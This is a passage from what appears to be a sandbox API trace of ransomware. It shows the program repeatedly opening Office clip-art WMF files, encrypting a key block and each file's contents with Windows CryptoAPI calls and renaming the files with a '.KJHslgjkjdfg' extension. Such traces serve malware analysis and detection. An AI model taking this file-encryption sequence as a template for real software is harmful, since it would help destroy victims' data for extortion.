hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.373] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.373] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.375] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.375] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.375] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.375] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.375] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.375] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.375] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7850, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7850, lpOverlapped=0x0) returned 1 [0202.377] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7850, dwBufLen=0x7850 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7850) returned 1 [0202.377] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.377] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7850, lpOverlapped=0x0) returned 1 [0202.377] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.377] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.377] SetEndOfFile (hFile=0x130) returned 1 [0202.380] GetProcessHeap () returned 0x2ef0000 [0202.380] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.380] GetProcessHeap () returned 0x2ef0000 [0202.380] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.380] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.kjhslgjkjdfg")) returned 1 [0202.381] CloseHandle (hObject=0x130) returned 1 [0202.381] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9658, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153305.WMF", cAlternateFileName="")) returned 1 [0202.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.382] GetProcessHeap () returned 0x2ef0000 [0202.382] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.382] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.382] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.382] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.385] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.385] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.385] GetProcessHeap () returned 0x2ef0000 [0202.385] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.385] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.385] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.385] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.385] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.385] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.385] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.385] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.386] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.386] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.386] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.386] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.386] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9658, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9658, lpOverlapped=0x0) returned 1 [0202.387] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9660, dwBufLen=0x9660 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9660) returned 1 [0202.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.388] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9660, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9660, lpOverlapped=0x0) returned 1 [0202.388] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.388] SetEndOfFile (hFile=0x130) returned 1 [0202.391] GetProcessHeap () returned 0x2ef0000 [0202.391] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.391] GetProcessHeap () returned 0x2ef0000 [0202.391] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.kjhslgjkjdfg")) returned 1 [0202.392] CloseHandle (hObject=0x130) returned 1 [0202.392] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153307.WMF", cAlternateFileName="")) returned 1 [0202.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.393] GetProcessHeap () returned 0x2ef0000 [0202.393] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.393] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.393] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.393] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.396] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.396] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.396] GetProcessHeap () returned 0x2ef0000 [0202.396] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.396] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.396] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.396] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.396] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.396] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.396] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.396] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.397] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.397] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.397] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.397] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3c58, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3c58, lpOverlapped=0x0) returned 1 [0202.398] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3c60, dwBufLen=0x3c60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3c60) returned 1 [0202.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.398] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3c60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3c60, lpOverlapped=0x0) returned 1 [0202.398] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.398] SetEndOfFile (hFile=0x130) returned 1 [0202.400] GetProcessHeap () returned 0x2ef0000 [0202.400] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.400] GetProcessHeap () returned 0x2ef0000 [0202.400] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.401] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.kjhslgjkjdfg")) returned 1 [0202.402] CloseHandle (hObject=0x130) returned 1 [0202.402] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4238, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153313.WMF", cAlternateFileName="")) returned 1 [0202.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.403] GetProcessHeap () returned 0x2ef0000 [0202.403] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.403] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.403] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.403] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.408] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.408] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.408] GetProcessHeap () returned 0x2ef0000 [0202.408] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.408] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.408] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.408] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.408] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.408] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.409] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.409] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.409] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.409] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.409] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.409] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.409] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4238, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4238, lpOverlapped=0x0) returned 1 [0202.410] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4240, dwBufLen=0x4240 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4240) returned 1 [0202.410] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.410] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4240, lpOverlapped=0x0) returned 1 [0202.410] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.410] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.410] SetEndOfFile (hFile=0x130) returned 1 [0202.413] GetProcessHeap () returned 0x2ef0000 [0202.413] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.413] GetProcessHeap () returned 0x2ef0000 [0202.413] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.413] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.kjhslgjkjdfg")) returned 1 [0202.414] CloseHandle (hObject=0x130) returned 1 [0202.414] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4464, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153398.WMF", cAlternateFileName="")) returned 1 [0202.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.415] GetProcessHeap () returned 0x2ef0000 [0202.415] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.415] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.415] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.415] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0202.417] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.417] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.417] GetProcessHeap () returned 0x2ef0000 [0202.417] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.417] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.417] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.417] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.417] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.417] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.417] WriteFile 